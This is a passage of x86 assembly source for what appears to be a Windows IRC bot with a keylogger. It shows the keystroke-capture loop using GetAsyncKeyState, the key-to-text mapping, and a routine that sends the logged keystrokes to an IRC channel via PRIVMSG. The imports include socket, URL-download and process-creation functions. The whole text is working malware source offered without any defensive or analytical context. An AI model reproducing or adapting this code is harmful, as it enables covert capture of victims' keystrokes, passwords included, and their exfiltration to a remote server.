        je IsNumpad3                                            ;if it is this key, jump there
        cmp ebx, 64h                                            ;VK_NUMPAD4
        je IsNumpad4                                            ;if it is this key, jump there
        cmp ebx, 65h                                            ;VK_NUMPAD5
        je IsNumpad5                                            ;if it is this key, jump there
        cmp ebx, 66h                                            ;VK_NUMPAD6
        je IsNumpad6                                            ;if it is this key, jump there
        cmp ebx, 67h                                            ;VK_NUMPAD7
        je IsNumpad7                                            ;if it is this key, jump there
        cmp ebx, 68h                                            ;VK_NUMPAD8
        je IsNumpad8                                            ;if it is this key, jump there
        cmp ebx, 69h                                            ;VK_NUMPAD9
        je IsNumpad9                                            ;if it is this key, jump there
        cmp ebx, 0Dh                                            ;VK_RETURN
        je IsReturn                                             ;if it is this key, jump there
        cmp ebx, 30h                                            ;VK_0
        jae CheckIsKey                                          ;if its above "1" its possible key
ScanNextKey:                                                    ;check next key if its pressed
        inc ebx                                                 ;increase counter by one
        jmp NextKey                                             ;check it baby
CheckIsKey:
        cmp ebx, 5Ah                                            ;VK_Z
        jbe IsKey                                               ;is key from 1 - Z
        jmp ScanNextKey                                         ;nop, scan next one
IsSpace:                                                        ;cat other key to buffer
        invoke lstrcat,\
                KeylogBuffer,\
                " "
        jmp LiveKeylog
IsBack:                                                         ;cat other key to buffer
        invoke lstrcat,\
                KeylogBuffer,\
                "{back}"
        jmp LiveKeylog
IsTab:                                                          ;cat other key to buffer
        invoke lstrcat,\
                KeylogBuffer,\
                "{tab}"
        jmp LiveKeylog
IsNumpad0:                                                      ;cat other key to buffer
        invoke lstrcat,\
                KeylogBuffer,\
                "0"
        jmp LiveKeylog
IsNumpad1:                                                      ;cat other key to buffer
        invoke lstrcat,\
                KeylogBuffer,\
                "1"
        jmp LiveKeylog
IsNumpad2:                                                      ;cat other key to buffer
        invoke lstrcat,\
                KeylogBuffer,\
                "2"
        jmp LiveKeylog
IsNumpad3:                                                      ;cat other key to buffer
        invoke lstrcat,\
                KeylogBuffer,\
                "3"
        jmp LiveKeylog
IsNumpad4:                                                      ;cat other key to buffer
        invoke lstrcat,\
                KeylogBuffer,\
                "4"
        jmp LiveKeylog
IsNumpad5:                                                      ;cat other key to buffer
        invoke lstrcat,\
                KeylogBuffer,\
                "5"
        jmp LiveKeylog
IsNumpad6:                                                      ;cat other key to buffer
        invoke lstrcat,\
                KeylogBuffer,\
                "6"
        jmp LiveKeylog
IsNumpad7:                                                      ;cat other key to buffer
        invoke lstrcat,\
                KeylogBuffer,\
                "7"
        jmp LiveKeylog
IsNumpad8:                                                      ;cat other key to buffer
        invoke lstrcat,\
                KeylogBuffer,\
                "8"
        jmp LiveKeylog
IsNumpad9:                                                      ;cat other key to buffer
        invoke lstrcat,\
                KeylogBuffer,\
                "9"
        jmp LiveKeylog
IsReturn:                                                       ;cat other key to buffer
        invoke lstrcat,\
                KeylogBuffer,\
                "{crlf}"
        jmp LiveKeylog
IsKey:                                                          ;cat key to buffer
        mov dword [ByteBuffer], ebx                             ;key is in ebx
        invoke lstrcat,\                                        ;append it to the keylog buffer
                KeylogBuffer,\                                  ;to this
                ByteBuffer                                      ;the logged key
        jmp LiveKeylog                                          ;log next key
SendKeyLine:
        invoke lstrcpy,\                                        ;send complete line to channel
                SendBuffer,\                                    ;copy to send buffer
                "PRIVMSG "                                      ;irc command
        invoke lstrcat,\                                        ;append channel
                SendBuffer,\                                    ;to buffer
                Channel                                         ;this
        invoke lstrcat,\                                        ;cat :
                SendBuffer,\                                    ;to buffer
                " :"                                            ;guess
        invoke lstrcat,\                                        ;append logged buffer
                SendBuffer,\                                    ;to send buffer
                KeylogBuffer                                    ;from here
        call SendLine                                           ;send line to irc server
        mov dword [KeylogBuffer], 0                             ;empty buffer
        jmp LiveKeylog                                          ;log next
ret                                                             ;return to call
section '.idata' import data readable writeable                 ;imports
        library kernel,                 "kernel32.dll",\
                winsock,                "ws2_32.dll",\
                user,                   "user32.dll",\
                advapi,                 "advapi32.dll",\
                wininet,                "wininet.dll"
        import kernel,\
                lstrcpy,                "lstrcpyA",\
                lstrcpyn,               "lstrcpynA",\
                lstrcat,                "lstrcatA",\
                lstrcmp,                "lstrcmpA",\
                lstrlen,                "lstrlenA",\
                GetTickCount,           "GetTickCount",\
                Sleep,                  "Sleep",\
                CreateFile,             "CreateFileA",\
                WriteFile,              "WriteFile",\
                CloseHandle,            "CloseHandle",\
                CreateProcess,          "CreateProcessA",\
                CreateThread,           "CreateThread",\
                GetExitCodeThread,      "GetExitCodeThread",\
                TerminateThread,        "TerminateThread",\
                GetSystemDirectory,     "GetSystemDirectoryA",\
                ExitProcess,            "ExitProcess"
        import winsock,\
                WSAStartup,             "WSAStartup",\
                socket,                 "socket",\
                inet_addr,              "inet_addr",\
                htons,                  "htons",\
                connect,                "connect",\
                recv,                   "recv",\
                send,                   "send",\
                WSACleanup,             "WSACleanup"
        import advapi,\
                GetUserName,            "GetUserNameA"
        import user,\
                CharLowerBuff,          "CharLowerBuffA",\
                MessageBox,             "MessageBoxA",\
                GetAsyncKeyState,       "GetAsyncKeyState"
        import wininet,\
                InternetOpen,           "InternetOpenA",\
                InternetOpenUrl,        "InternetOpenUrlA",\
                InternetReadFile,       "InternetReadFile",\
                InternetCloseHandle,    "InternetCloseHandle"
  
   
  |